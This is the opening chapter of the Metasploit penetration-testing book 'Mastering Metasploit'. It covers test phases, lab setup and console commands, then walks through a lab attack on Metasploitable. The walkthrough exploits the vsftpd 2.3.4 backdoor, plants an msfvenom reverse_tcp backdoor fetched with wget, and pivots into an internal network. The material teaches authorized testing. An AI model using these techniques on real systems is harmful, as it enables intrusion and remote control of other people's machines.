Mastering Metasploit - Second Edition

4.8 (6 reviews total)
By Nipun Jaswal
  • Instant online access to over 7,500+ books and videos
  • Constantly updated with 100+ new titles each month
  • Breadth and depth in over 1,000+ technologies
  1. Approaching a Penetration Test Using Metasploit

About this book

Metasploit is a popular penetration testing framework that has one of the largest exploit databases around. This book will show you exactly how to prepare yourself against the attacks you will face every day by simulating real-world possibilities.

We start by reminding you about the basic functionalities of Metasploit and its use in the most traditional ways. You’ll get to know about the basics of programming Metasploit modules as a refresher, and then dive into carrying out exploitation as well building and porting exploits of various kinds in Metasploit.

In the next section, you’ll develop the ability to perform testing on various services such as SCADA, databases, IoT, mobile, tablets, and many more services. After this training, we jump into real-world sophisticated scenarios where performing penetration tests are a challenge. With real-life case studies, we take you on a journey through client-side attacks using Metasploit and various scripts built on the Metasploit framework.

By the end of the book, you will be trained specifically on time-saving techniques using Metasploit.

Publication date:
September 2016
Publisher
Packt
Pages
440
ISBN
9781786463166

 

Chapter 1.  Approaching a Penetration Test Using Metasploit

"In God I trust, all others I pen-test" - Binoj Koshy, cyber security expert

Penetration testing is an intentional attack on a computer-based system with the intention of finding vulnerabilities, figuring out security weaknesses, certifying that a system is secure, and gaining access to the system by exploiting these vulnerabilities. A penetration test will advise an organization if it is vulnerable to an attack, whether the implemented security is enough to oppose any attack, which security controls can be bypassed, and so on. Hence, a penetration test focuses on improving the security of an organization.

Achieving success in a penetration test largely depends on using the right set of tools and techniques. A penetration tester must choose the right set of tools and methodologies in order to complete a test. While talking about the best tools for penetration testing, the first one that comes to mind is Metasploit. It is considered one of the most effective auditing tools to carry out penetration testing today. Metasploit offers a wide variety of exploits, an extensive exploit development environment, information gathering and web testing capabilities, and much more.

This book has been written so that it will not only cover the frontend perspectives of Metasploit, but it will also focus on the development and customization of the framework as well. This book assumes that the reader has basic knowledge of the Metasploit framework. However, some of the sections of this book will help you recall the basics as well.

While covering Metasploit from the very basics to the elite level, we will stick to a step-by-step approach, as shown in the following diagram:

This chapter will help you recall the basics of penetration testing and Metasploit, which will help you warm up to the pace of this book.

In this chapter, you will learn about the following topics:

  • The phases of a penetration test

  • The basics of the Metasploit framework

  • The workings of exploits

  • Testing a target network with Metasploit

  • The benefits of using databases

An important point to take a note of here is that we might not become an expert penetration tester in a single day. It takes practice, familiarization with the work environment, the ability to perform in critical situations, and most importantly, an understanding of how we have to cycle through the various stages of a penetration test.

When we think about conducting a penetration test on an organization, we need to make sure that everything is set perfectly and is according to a penetration test standard. Therefore, if you feel you are new to penetration testing standards or uncomfortable with the term Penetration testing Execution Standard (PTES), please refer to http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines to become more familiar with penetration testing and vulnerability assessments. According to PTES, the following diagram explains the various phases of a penetration test:

Refer to the http://www.pentest-standard.org website to set up the hardware and systematic phases to be followed in a work environment; these setups are required to perform a professional penetration test.

 

Organizing a penetration test


Before we start firing sophisticated and complex attack vectors with Metasploit, we must get ourselves comfortable with the work environment. Gathering knowledge about the work environment is a critical factor that comes into play before conducting a penetration test. Let us understand the various phases of a penetration test before jumping into Metasploit exercises and see how to organize a penetration test on a professional scale.

 

Preinteractions


The very first phase of a penetration test, preinteractions, involves a discussion of the critical factors regarding the conduct of a penetration test on a client's organization, company, institute, or network; this is done with the client. This serves as the connecting line between the penetration tester and the client. Preinteractions help a client get enough knowledge on what is about to be done over his or her network/domain or server. Therefore, the tester will serve here as an educator to the client. The penetration tester also discusses the scope of the test, all the domains that will be tested, and any special requirements that will be needed while conducting the test on the client's behalf. This includes special privileges, access to critical systems, and so on. The expected positives of the test should also be part of the discussion with the client in this phase. As a process, preinteractions discuss some of the following key points:

  • Scope: This section discusses the scope of the project and estimates the size of the project. Scope also defines what to include for testing and what to exclude from the test. The tester also discusses ranges and domains under the scope and the type of test (black box or white box) to be performed. For white box testing, what all access options are required by the tester? Questionnaires for administrators, the time duration for the test, whether to include stress testing or not, and payment for setting up the terms and conditions are included in the scope. A general scope document provides answers to the following questions:

  • What are the target organization's biggest security concerns?

  • What specific hosts, network address ranges, or applications should be tested?

  • What specific hosts, network address ranges, or applications should explicitly NOT be tested?

  • Are there any third parties that own systems or networks that are in the scope, and which systems do they own (written permission must have been obtained in advance by the target organization)?

  • Will the test be performed against a live production environment or a test environment?

  • Will the penetration test include the following testing techniques: ping sweep of network ranges, port scan of target hosts, vulnerability scan of targets, penetration of targets, application-level manipulation, client-side Java/ActiveX reverse engineering, physical penetration attempts, social engineering?

  • Will the penetration test include internal network testing? If so, how will access be obtained?

  • Are client/end-user systems included in the scope? If so, how many clients will be leveraged?

  • Is social engineering allowed? If so, how may it be used?

  • Are Denial of Service attacks allowed?

  • Are dangerous checks/exploits allowed?

  • Goals: This section discusses various primary and secondary goals that a penetration test is set to achieve. The common questions related to the goals are as follows:

    • What is the business requirement for this penetration test?

      • This is required by a regulatory audit or standard

      • Proactive internal decision to determine all weaknesses

    • What are the objectives?

      • Map out vulnerabilities

      • Demonstrate that the vulnerabilities exist

      • Test the incident response

      • Actual exploitation of a vulnerability in a network, system, or application

      • All of the above

  • Testing terms and definitions: This section discusses basic terminologies with the client and helps him or her understand the terms well.

  • Rules of engagement: This section defines the time of testing, timeline, permissions to attack, and regular meetings to update the status of the ongoing test. The common questions related to rules of engagement are as follows:

    • At what time do you want these tests to be performed?

      • During business hours

      • After business hours

      • Weekend hours

      • During a system maintenance window

    • Will this testing be done on a production environment?

    • If production environments should not be affected, does a similar environment (development and/or test systems) exist that can be used to conduct the penetration test?

    • Who is the technical point of contact?

For more information on preinteractions, refer to http://www.pentest-standard.org/index.php/File:Pre-engagement.png.

 

Intelligence gathering/reconnaissance phase


In the intelligence-gathering phase, you need to gather as much information as possible about the target network. The target network could be a website, an organization, or might be a full-fledged Fortune 500 company. The most important aspect is to gather information about the target from social media networks and use Google Hacking (a way to extract sensitive information from Google using specialized queries) to find sensitive information related to the target. Footprinting the organization using active and passive attacks can also be an approach.

The intelligence phase is one of the most crucial phases in penetration testing. Properly gained knowledge about the target will help the tester to stimulate appropriate and exact attacks, rather than trying all possible attack mechanisms; it will also help him or her save a large amount of time as well. This phase will consume 40 to 60 percent of the total time of the testing, as gaining access to the target depends largely upon how well the system is footprinted.

It is the duty of a penetration tester to gain adequate knowledge about the target by conducting a variety of scans, looking for open ports, identifying all the services running on those ports and to decide which services are vulnerable and how to make use of them to enter the desired system.

The procedures followed during this phase are required to identify the security policies that are currently set in place at the target, and what we can do to breach them.

Let us discuss this using an example. Consider a black box test against a web server where the client wants to perform a network stress test.

Here, we will be testing a server to check what level of bandwidth and resource stress the server can bear or in simple terms, how the server is responding to the Denial of Service (DoS) attack. A DoS attack or a stress test is the name given to the procedure of sending indefinite requests or data to a server in order to check whether the server is able to handle and respond to all the requests successfully or crashes causing a DoS. A DoS can also occur if the target service is vulnerable to specially crafted requests or packets. In order to achieve this, we start our network stress-testing tool and launch an attack towards a target website. However, after a few seconds of launching the attack, we see that the server is not responding to our browser and the website does not open. Additionally, a page shows up saying that the website is currently offline. So what does this mean? Did we successfully take out the web server we wanted? Nope! In reality, it is a sign of protection mechanism set by the server administrator that sensed our malicious intent of taking the server down, and hence resulting in a ban of our IP address. Therefore, we must collect correct information and identify various security services at the target before launching an attack.

The better approach is to test the web server from a different IP range. Maybe keeping two to three different virtual private servers for testing is a good approach. In addition, I advise you to test all the attack vectors under a virtual environment before launching these attack vectors onto the real targets. A proper validation of the attack vectors is mandatory because if we do not validate the attack vectors prior to the attack, it may crash the service at the target, which is not favorable at all. Network stress tests should generally be performed towards the end of the engagement or in a maintenance window. Additionally, it is always helpful to ask the client for white listing IP addresses used for testing.

Now let us look at the second example. Consider a black box test against a windows 2012 server. While scanning the target server, we find that port 80 and port 8080 are open. On port 80, we find the latest version of Internet Information Services (IIS) running while on port 8080, we discover that the vulnerable version of the Rejetto HFS Server is running, which is prone to the remote code execution (RCE) flaw.

However, when we try to exploit this vulnerable version of HFS, the exploit fails. This might be a common scenario where inbound malicious traffic is blocked by the firewall.

In this case, we can simply change our approach to connecting back from the server, which will establish a connection from the target back to our system, rather than us connecting to the server directly. This may prove to be more successful as firewalls are commonly being configured to inspect ingress traffic rather than egress traffic.

Coming back to the procedures involved in the intelligence-gathering phase when viewed as a process are as follows:

  • Target selection: This involves selecting the targets to attack, identifying the goals of the attack, and the time of the attack

  • Covert gathering: This involves on-location gathering, the equipment in use, and dumpster diving. In addition, it covers off-site gathering that involves data warehouse identification; this phase is generally considered during a white box penetration test

  • Foot printing: This involves active or passive scans to identify various technologies used at the target, which includes port scanning, banner grabbing, and so on

  • Identifying protection mechanisms: This involves identifying firewalls, filtering systems, network- and host-based protections, and so on

Note

For more information on gathering intelligence, refer to http://www.pentest-standard.org/index.php/Intelligence_Gathering.

 

Predicting the test grounds


A regular occurrence during penetration testers' lives is when they start testing an environment, they know what to do next. If they come across a Windows box, they switch their approach towards the exploits that work perfectly for Windows and leave the rest of the options. An example of this might be an exploit for the NETAPI vulnerability, which is the most favorable choice for exploiting a Windows XP box. Suppose a penetration tester needs to visit an organization, and before going there, they learn that 90 percent of the machines in the organization are running on Windows XP, and some of them use Windows 2000 Server. The tester quickly decides that they will be using the NETAPI exploit for XP-based systems and the DCOM exploit for Windows 2000 Server from Metasploit to complete the testing phase successfully. However, we will also see how we can use these exploits practically in the latter section of this chapter.

Consider another example of a white box test on a web server where the server is hosting ASP and ASPX pages. In this case, we switch our approach to use Windows-based exploits and IIS testing tools, therefore ignoring the exploits and tools for Linux.

Hence, predicting the environment under a test helps to build the strategy of the test that we need to follow at the client's site.

Note

For more information on the NETAPI vulnerability, visit http://technet.microsoft.com/en-us/security/bulletin/ms08-067. For more information on the DCOM vulnerability, visit http://www.rapid7.com/db/modules/exploit/Windows /dcerpc/ms03_026_dcom.

Modeling threats

In order to conduct a comprehensive penetration test, threat modeling is required. This phase focuses on modeling out correct threats, their effect, and their categorization based on the impact they can cause. Based on the analysis made during the intelligence-gathering phase, we can model the best possible attack vectors. Threat modeling applies to business asset analysis, process analysis, threat analysis, and threat capability analysis. This phase answers the following set of questions:

  • How can we attack a particular network?

  • To which crucial sections do we need to gain access?

  • What approach is best suited for the attack?

  • What are the highest-rated threats?

Modeling threats will help a penetration tester to perform the following set of operations:

  • Gather relevant documentation about high-level threats

  • Identify an organization's assets on a categorical basis

  • Identify and categorize threats

  • Mapping threats to the assets of an organization

Modeling threats will help to define the highest priority assets with threats that can influence these assets.

Now, let us discuss a third example. Consider a black box test against a company's website. Here, information about the company's clients is the primary asset. It is also possible that in a different database on the same backend, transaction records are also stored. In this case, an attacker can use the threat of a SQL injection to step over to the transaction records database. Hence, transaction records are the secondary asset. Mapping a SQL injection attack to primary and secondary assets is achievable during this phase.

Vulnerability scanners such as Nexpose and the Pro version of Metasploit can help model threats clearly and quickly using the automated approach. This can prove to be handy while conducting large tests.

Note

For more information on the processes involved during the threat modeling phase, refer to http://www.pentest-standard.org/index.php/Threat_Modeling.

Vulnerability analysis

Vulnerability analysis is the process of discovering flaws in a system or an application. These flaws can vary from a server to web application, an insecure application design for vulnerable database services, and a VOIP-based server to SCADA-based services. This phase generally contains three different mechanisms, which are testing, validation, and research. Testing consists of active and passive tests. Validation consists of dropping the false positives and confirming the existence of vulnerabilities through manual validations. Research refers to verifying a vulnerability that is found and triggering it to confirm its existence.

Note

For more information on the processes involved during the threat-modeling phase, refer to http://www.pentest-standard.org/index.php/Vulnerability_Analysis.

Exploitation and post-exploitation

The exploitation phase involves taking advantage of the previously discovered vulnerabilities. This phase is considered as the actual attack phase. In this phase, a penetration tester fires up exploits at the target vulnerabilities of a system in order to gain access. This phase is covered heavily throughout the book.

The post-exploitation phase is the latter phase of exploitation. This phase covers various tasks that we can perform on an exploited system, such as elevating privileges, uploading/downloading files, pivoting, and so on.

Note

For more information on the processes involved during the exploitation phase, refer to http://www.pentest-standard.org/index.php/Exploitation. For more information on post exploitation, refer to http://www.pentest-standard.org/index.php/Post_Exploitation.

Reporting

Creating a formal report of the entire penetration test is the last phase to conduct while carrying out a penetration test. Identifying key vulnerabilities, creating charts and graphs, recommendations, and proposed fixes are a vital part of the penetration test report. An entire section dedicated to reporting is covered in the latter half of this book.

Note

For more information on the processes involved during the threat modeling phase, refer to http://www.pentest-standard.org/index.php/Reporting.

Mounting the environment

Before going to a war, the soldiers must make sure that their artillery is working perfectly. This is exactly what we are going to follow. Testing an environment successfully depends on how well your test labs are configured. Moreover, a successful test answers the following set of questions:

  • How well is your test lab configured?

  • Are all the required tools for testing available?

  • How good is your hardware to support such tools?

Before we begin to test anything, we must make sure that all the required set of tools are available and that everything works perfectly.

 

Setting up Kali Linux in virtual environment


Before using Metasploit, we need to have a test lab. The best idea for setting up a test lab is to gather different machines and install different operating systems on them. However, if we only have a single machine, the best idea is to set up a virtual environment.

Virtualization plays an important role in penetration testing today. Due to the high cost of hardware, virtualization plays a cost-effective role in penetration testing. Emulating different operating systems under the host operating system not only saves you money but also cuts down on electricity and space. However, setting up a virtual penetration test lab prevents any modifications on the actual host system and allows us to perform operations on an isolated environment. A virtual network allows network exploitation to run on an isolated network, thus preventing any modifications or the use of network hardware of the host system.

Moreover, the snapshot feature of virtualization helps preserve the state of the virtual machine at a particular point in time. This proves to be very helpful, as we can compare or reload a previous state of the operating system while testing a virtual environment without reinstalling the entire software in case the files are modified after attack simulation. Virtualization expects the host system to have enough hardware resources, such as RAM, processing capabilities, drive space, and so on, to run smoothly.

Note

For more information on snapshots, refer to https://www.virtualbox.org/manual/ch01.html#snapshots.

So, let us see how we can create a virtual environment with the Kali operating system (the most favored operating system for penetration testing, which contains the Metasploit framework by default).

Tip

You can always download pre-built VMware and VirtualBox images for Kali Linux here: https://www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/

In order to create virtual environments, we need virtual machine software. We can use any one between two of the most popular ones: VirtualBox and VMware player. So, let us begin with the installation by performing the following steps:

  1. Download the VirtualBox (http://www.virtualbox.org/wiki/Downloads) setup for your machine's architecture.

  2. Run the setup and finalize the installation.

  3. Now, after the installation, run the VirtualBox program, as shown in the following screenshot:

  4. Type an appropriate name in the Name field and select the operating system type and Version, as follows:

  5. Now, to install a new operating system, select New.

    • For Kali Linux, select Operating System as Linux and Version as Linux 2.6/3.x/4.x 

    • This may look similar to what is shown in the following screenshot:

  6. Select the amount of system memory to allocate, typically 1 GB for Kali Linux.

  7. The next step is to create a virtual disk that will serve as a hard drive to the virtual operating system. Create the disk as a dynamically allocated disk. Choosing this option will consume just enough space to fit the virtual operating system rather than consuming the entire chunk of physical hard disk of the host system.

  8. The next step is to allocate the size for the disk; typically, 10 GB of space is enough.

  9. Now, proceed to create the disk, and after reviewing the summary, click on Create.

  10. Now, click on Start to run. For the very first time, a window will pop up showing the selection process for startup disk. Proceed with it by clicking Start after browsing the system path for Kali's .iso file from the hard disk. This process may look similar to what is shown in the following screenshot:

You can run Kali Linux in Live mode or you can opt for Graphical Install/ Install to install it persistently, as shown in the following screenshot:

Note

For the complete persistent install guide on Kali Linux, refer to http://docs.kali.org/category/installation.To install Metasploit through command line in Linux, refer to http://www.darkoperator.com/installing-metasploit-in-ubunt/.To install Metasploit on Windows, refer to an excellent guide https://community.rapid7.com/servlet/JiveServlet/downloadBody/2099-102-11-6553/windows-installation-guide.pdf.

 

The fundamentals of Metasploit


Now that we have recalled the basic phases of a penetration test and completed the setup of Kali Linux, let us talk about the big picture: Metasploit. Metasploit is a security project that provides exploits and tons of reconnaissance features to aid the penetration tester. Metasploit was created by H.D. Moore back in 2003, and since then, its rapid development has lead it to be recognized as one of the most popular penetration testing tools. Metasploit is entirely a Ruby-driven project and offers a great deal of exploits, payloads, encoding techniques, and loads of post-exploitation features.

Metasploit comes in various different editions, as follows:

  • Metasploit Pro: This edition is a commercial edition, offering tons of great features, such as web application scanning, AV evasion and automated exploitation, and is quite suitable for professional penetration testers and IT security teams. The Pro edition is generally used for advanced penetration tests and enterprise security programs.

  • Metasploit Express: The Express edition is used for baseline penetration tests. Features in this edition of Metasploit include smart exploitation, automated brute forcing of the credentials, and much more. This edition is quite suitable for IT security teams in small to medium size companies.

  • Metasploit Community: This is a free edition with reduced functionalities of the Express edition. However, for students and small businesses, this edition is a favorable choice.

  • Metasploit Framework: This is a command-line edition with all the manual tasks, such as manual exploitation, third-party import, and so on. This edition is suitable for developers and security researchers.

Throughout this book, we will be using the Metasploit Community and Framework editions. Metasploit also offers various types of user interfaces, as follows:

  • The GUI interface: The graphical user interface (GUI) has all the options available at the click of a button. This interface offers a user-friendly interface that helps to provide a cleaner vulnerability management.

  • The console interface: This is the preferred interface and the most popular one as well. This interface provides an all-in-one approach to all the options offered by Metasploit. This interface is also considered one of the most stable interfaces. Throughout this book, we will be using the console interface the most.

  • The command-line interface: The command-line interface is the most powerful interface. It supports the launching of exploits to activities such as payload generation. However, remembering each and every command while using the command-line interface is a difficult job.

  • Armitage: Armitage by Raphael Mudge added a cool hacker-style GUI interface to Metasploit. Armitage offers easy vulnerability management, built-in NMAP scans, exploit recommendations, and the ability to automate features using the Cortana scripting language. An entire chapter is dedicated to Armitage and Cortana in the latter half of this book.

 

Conducting a penetration test with Metasploit


After setting up Kali Linux, we are now ready to perform our first penetration test with Metasploit. However, before we start the test, let us recall some of the basic functions and terminologies used in the Metasploit framework.

Recalling the basics of Metasploit

After we run Metasploit, we can list all the workable commands available in the framework by typing help in Metasploit console. Let us recall the basic terms used in Metasploit, which are as follows:

  • Exploits: This is a piece of code that, when executed, will exploit the vulnerability on the target.

  • Payload: This is a piece of code that runs at the target after a successful exploitation is done. It defines the actions we want to perform on the target system.

  • Auxiliary: These are modules that provide additional functionalities such as scanning, fuzzing, sniffing, and much more.

  • Encoders: Encoders are used to obfuscate modules to avoid detection by a protection mechanism such as an antivirus or a firewall.

  • Meterpreter: Meterpreter is a payload that uses in-memory DLL injection stagers. It provides a variety of functions to perform at the target, which makes it a popular payload choice.

Let us now recall some of the basic commands of Metasploit that we will use in this chapter. Let us see what they are supposed to do:

Command

Usage

Example

use [Auxiliary/Exploit/Payload/Encoder]

To select a particular module to start working with

msf>use exploit/unix/ftp/vsftpd_234_backdoor

msf>use auxiliary/scanner/portscan/tcp

show [exploits/payloads/encoder/auxiliary/options]

To see the list of available modules of a particular type

msf>show payloads

msf> show options

set [options/payload]

To set a value to a particular object

msf>set payload windows/meterpreter/reverse_tcp

msf>set LHOST 192.168.10.118

msf> set RHOST 192.168.10.112

msf> set LPORT 4444

msf> set RPORT 8080

setg [options/payload]

To set a value to a particular object globally so the values do not change when a module is switched on

msf>setg RHOST 192.168.10.112

run

To launch an auxiliary module after all the required options are set

msf>run

exploit

To launch an exploit

msf>exploit

back

To unselect a module and move back

msf(ms08_067_netapi)>back

msf>

info

To list the information related to a particular exploit/module/auxiliary

msf>info exploit/windows/smb/ms08_067_netapi

msf(ms08_067_netapi)>info

search

To find a particular module

msf>search hfs

check

To check whether a particular target is vulnerable to the exploit or not

msf>check

sessions

To list the available sessions

msf>sessions [session number]

Following are the meterpreter commands:

Meterpreter Commands

Usage

Example

sysinfo

To list system information of the compromised host

meterpreter>sysinfo

ifconfig

To list the network interfaces on the compromised host

meterpreter>ifconfig

meterpreter>ipconfig (Windows)

Arp

List of IP and MAC addresses of hosts connected to the target

meterpreter>arp

background

To send an active session to background

meterpreter>background

shell

To drop a cmd shell on the target

meterpreter>shell

getuid

To get the current user details

meterpreter>getuid

getsystem

To escalate privileges and gain SYSTEM access

meterpreter>getsystem

getpid

To gain the process ID of the meterpreter access

meterpreter>getpid

ps

To list all the processes running on the target

meterpreter>ps

Note

If you are using Metasploit for the very first time, refer to http://www.offensive-security.com/metasploit-unleashed/Msfconsole_Commands for more information on basic commands.

 

Benefits of penetration testing using Metasploit


Before we jump into an example penetration test, we must know why we prefer Metasploit to manual exploitation techniques. Is this because of a hacker-like terminal that gives a pro look, or is there a different reason? Metasploit is a preferable choice when compared to traditional manual techniques because of certain factors that are discussed in the following sections.

Open source

One of the top reasons why one should go with Metasploit is because it is open source and actively developed. Various other highly paid tools exist for carrying out penetration testing. However, Metasploit allows its users to access its source code and add their custom modules. The Pro version of Metasploit is chargeable, but for the sake of learning, the community edition is mostly preferred.

Support for testing large networks and easy naming conventions

It is easy to use Metasploit. However, here, ease of use refers to easy naming conventions of the commands. Metasploit offers great ease while conducting a large network penetration test. Consider a scenario where we need to test a network with 200 systems. Instead of testing each system one after the other, Metasploit offers to test the entire range automatically. Using parameters such as subnet and Classless Inter Domain Routing (CIDR) values, Metasploit tests all the systems in order to exploit the vulnerability, whereas in a manual exploitation process, we might need to launch the exploits manually onto 200 systems. Therefore, Metasploit saves an large amount of time and energy.

Smart payload generation and switching mechanism

Most importantly, switching between payloads in Metasploit is easy. Metasploit provides quick access to change payloads using the set payload command. Therefore, changing the meterpreter or a shell-based access into a more specific operation, such as adding a user and getting the remote desktop access, becomes easy. Generating shell code to use in manual exploits also becomes easy by using the msfvenom application from the command line.

Cleaner exits

Metasploit is also responsible for making a much cleaner exit from the systems it has compromised. A custom-coded exploit, on the other hand, can crash the system while exiting its operations. This is really an important factor in cases where we know that the service will not restart immediately.

Consider a scenario where we have compromised a web server and while we were making an exit, the exploited application crashes. The scheduled maintenance time for the server is left over with 50 days time. So, what do we do? Shall we wait for the next 50 odd days for the service to come up again, so that we can exploit it again? Moreover, what if the service comes back after being patched? We could only end up kicking ourselves. This also shows a clear sign of poor penetration testing skills. Therefore, a better approach would be to use the Metasploit framework, which is known for making much cleaner exits, as well as offering tons of post-exploitation functions, such as persistence, that can help maintain permanent access to the server.

The GUI environment

Metasploit offers friendly GUI and third-party interfaces, such as Armitage. These interfaces tend to ease the penetration testing projects by offering services such as easy-to-switch workspaces, vulnerability management on the fly, and functions at a click of a button. We will discuss these environments more in the latter chapters of this book.

 

Penetration testing an unknown network


Recalling the basics of Metasploit, we are all set to perform our first penetration test with Metasploit. We will test an IP address here and try to find relevant information about the target IP and will try to break deeper into the network as much as we can. We will follow all the required phases of a penetration test here, which we discussed in the earlier part of this chapter.

Assumptions

Considering a black box penetration test on an unknown network, we can assume that we are done with the preinteractions phase. We are going to test a single IP address in the scope of the test, with zero knowledge of the technologies running on the target. We are performing the test with Kali Linux, a popular security-based Linux distribution, which comes with tons of preinstalled security tools.

Note

For the sake for learning, we are using two instances of Metasploitable 2 and a single instance of Windows Server 2012 in the demo.

Gathering intelligence

As discussed earlier, the gathering intelligence phase revolves around gathering as much information as possible, about the target. Active and passive scans, which include port scanning, banner grabbing, and various other scans, depends upon the type of target that is under test. The target under the current scenario is a single IP address. So here, we can skip gathering passive information and can continue with the active information-gathering methodology.

Let's start with the internal footprinting phase, which includes port scanning, banner grabbing, ping scans to check whether the system is live or not, and service detection scans.

To conduct internal footprinting, NMAP proves as one of the finest available tools. Reports generated by NMAP can be easily imported into Metasploit. Metasploit has inbuilt database functionalities, which can be used to perform NMAP scans from within the Metasploit framework console and store the results in the database.

 

Using databases in Metasploit


It is always a better approach to store the results when you perform penetration testing. This will help us build a knowledge base about hosts, services, and the vulnerabilities in the scope of a penetration test. In order to achieve this functionality, we can use databases in Metasploit. Connecting a database to Metasploit also speeds up searching and improves response time. The following screenshot depicts a search when the database is not connected:

In order to use databases, we need to start the Metasploit database service using the following command:

[email protected]:~# service postgresql start
[email protected]:~#msfdbinit

The service postgresql start command initializes the PostgreSQLdatabase service and the msfdbinit command initializes and creates the PostgreSQL database for Metasploit.

Once the databases are created and initialized, we can quickly fire up Metasploit using the following command:

[email protected]:~#msfconsole

This command will fire up Metasploit, as shown in the following screenshot:

To find out the status of the databases, we can use the following command:

msf>db_status

The preceding command will check whether the database is connected and is ready to store the scan results or not. We can see in the preceding screenshot that the database is connected and it will store all the results.

Next, if we want to connect to a database other than the default one, we can change the database using the following command:

db_connect

Typing the preceding command will display its usage methods, as we can see in the following screenshot:

In order to connect to a database, we need to supply a username, password, and a port with the database name along with the db_connect command.

Let us see what other core database commands are supposed to do. The following table will help us understand these database commands:

Command

Usage information

db_connect

This command is used to interact with databases other than the default one

db_export

This command is used to export the entire set of data stored in the database for the sake of creating reports or as an input to another tool

db_nmap

This command is used for scanning the target with NMAP, and storing the results in the Metasploit database

db_status

This command is used to check whether the database connectivity is present or not

db_disconnect

This command is used to disconnect from a particular database

db_import

This command is used to import results from other tools such as Nessus, NMAP, and so on

db_rebuild_cache

This command is used to rebuild the cache if the earlier cache gets corrupted or is stored with older results

Now that we have seen the database commands, let us move further and perform an NMAP scan on the target:

In the preceding screenshot, using db_nmap will automatically store all the results in the Metasploit database. In the command at the top of the preceding screenshot, the -sV switch denotes a service scan from NMAP on the target, while the -p switch denotes the port numbers to be included in the scan.

We can see that there are numerous open ports on the target IP address. Let us list the services running on ports using services command as follows:

We can see that we have numerous services running on the target. Let us filter the currently running services using the services -u command as follows:

We can always list all the hosts in the database using hosts command as follows:

Note

For more information on databases, refer to https://www.offensive-security.com/metasploit-unleashed/using-databases/

 

Modeling threats


From the intelligence gathering phase, we can see that there are numerous services running on the target. Hosts information also reveals that the target operating system is Linux-based. Let us search for one of the vulnerabilities within Metasploit and try to find the matching exploit module:

We can see that we already have a module in Metasploit that targets the vulnerable service found. After exploring the details at http://www.securityfocus.com/bid/48539/discuss and http://scarybeastsecurity.blogspot.in/2011/07/alert-vsftpd-download-backdoored.html, we can easily figure out that the vulnerability was intentionally put into the software and was carrying a backdoor that can be triggered remotely on the vulnerable system.

 

Vulnerability analysis of VSFTPD 2.3.4 backdoor


After modeling threats, let us load the matching module into Metasploit using the use exploit/unix/ftp/vsftpd_234_backdoor command and analyze the vulnerability details using info command as follows:

We can see that the vulnerability was allegedly added to the vsftpd archive between the dates mentioned in the description of the module.

The attack procedure

The concept of the attack on VSFTPD 2.3.4 is to trigger the malicious vsf_sysutil_extra(); function by sending a sequence of specific bytes on port 21, which, on successful execution, results in opening the backdoor on port 6200 of the system.

The procedure of exploiting the vulnerability

The following screenshot of the vulnerable source code will make things much clearer:

We can clearly see that if the bytes in the network buffer match the backdoor sequence of 0x3a (colon) and 0x29, the malicious function is triggered. Furthermore, is we explore the details of the malicious function, we can see the following function definition for the malicious function:

sa.sin_port=6200 serves as the backdoor port and all the commands sent to the service get executed using the execl("/bin/sh","sh",(char *)0); function.

Note

Details about the exploit module can be found at https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor/.

Exploitation and post exploitation

After gaining enough knowledge about the vulnerability, let us now exploit the target system. Let us see what options we need to set before firing the exploit onto the target. We can do this by running the show options command, as shown following:

We can see that we have only two options, which are RHOST and RPORT. We set RHOST as the IP address of the target and RPORT as 21, which is the port of the vulnerable FTP server.

Next, we can check for the matching payloads via the show payloads command to see what payloads are suitable for this particular exploit module. We can see only a single payload, which is cmd/unix/interact. We can use this payload using the set payload cmd/unix/interact command.

Let us now take a step further and exploit the system, as shown in the following screenshot:

Bingo! We got root access to the target system. So, what's next? Since we have got a simple shell, let us try gaining better control over the target by spawning a meterpreter shell.

In order to gain a meterpreter shell, we need to create a client-oriented payload, upload it to the target system, and execute it. So, let's get started:

We can use a great utility called msfvenom to generate a meterpreter payload, as shown in the preceding screenshot. The -p switch defines the payload to use, while LHOST and LPORT define our IP address and port number that ourbackdoor.elf file will connect to in order to provide us meterpreter access to the target. The -f switch defines the output type, and elf is the default extension for the Linux-based systems.

Since we have a normal cmd shell, it would be difficult to upload backdoor.elf file onto the target. Therefore, let us run Apache server and host our malicious file on it:

We run the apache service via the service apache2 start command and move the backdoor file into the default document root directory of the Apache server. Let us now download the file from our Apache server onto the victim system.

We can download the file via the wget command, as shown in the preceding screenshot. Now, in order to allow the victim system to communicate with Metasploit, we need to set up an exploit handler on our system. The handler will allow communication between the target and Metasploit using the same port and payload we used in the backdoor.elf file.

We issue use exploit/multi/handler on a separate terminal in Metasploit and set the payload type as linux/x86/meterpreter/reverse_tcp. Next, we set the listening port via set LPORT 4444 and LHOST as our local IP address. We can now run the module using the exploit command and wait for the incoming connections.

When we download the file onto the target, we provide appropriate permissions to the file via the chmod command, as shown in the following screenshot:

Providing the 777 permission will grant all the relevant read, write, and execute permissions on the file. Execute the file, and now switch to the other terminal, which is running our exploit handler:

Bingo! We got the meterpreter access to the target. Let's find some interesting information using the post exploitation modules:

Running the sysinfo command, we can see that the target is metasploitable (an intentionally vulnerable operating system), its architecture is i686, and the kernel version is 2.6.24-16.

Let's run some interesting commands in order to dive deep into the network:

Running the ifconfig command on the target, we see pretty interesting information, such as an additional network interface, which may lead us to the internal network on which the internal systems may reside. We run the arp command on the target and check if there are some systems already connected or were connected to the exploited system from the internal network, as shown in the following screenshot:

We can clearly see an additional system with the IP address 192.168.20.4 on the internal network. Approaching the internal network, we need to set up pivoting on the exploited machine using the autoroute command:

The autoroute -p command prints all the routing information on a session. We can see we do not have any routes by default. Let us add a route to the target internal network using the autoroute -s 192.168.20.0 255.255.255.0 command. Issuing this command, we can see that the route got successfully added to the routing table, and now all the communication from Metasploit will pass through our meterpreter session to the internal network.

Let us now put the meterpreter session in the background by using the background command as follows:

Since the internal network is now approachable, let us perform a port scan on the 192.168.20.4 system using the auxiliary/scanner/portscan/tcp auxiliary module as follows:

Running the port scan module will require us to set the RHOSTS option to the target's IP address using setg RHOSTS 192.168.20.4. The setg option will globally set RHOSTS value to 192.168.20.4 and thus eliminates the need to retype the set RHOSTS command again and again.

In order to run this module, we need to issue the run command. We can see from the output that there are multiple services running on the 192.168.20.4 system. Additionally, we can see that port 80 is open. Let us try fingerprinting the service running on port 80 using another auxiliary module, auxiliary/scanner/http/http_version, as follows:

Running the auxiliary module, we find that the service running on port 80 is the popular Apache 2.2.8 web server. Exploring the web, we find that the PHP version 5.2.4 is vulnerable and can allow an attacker to gain access over the target system.

 

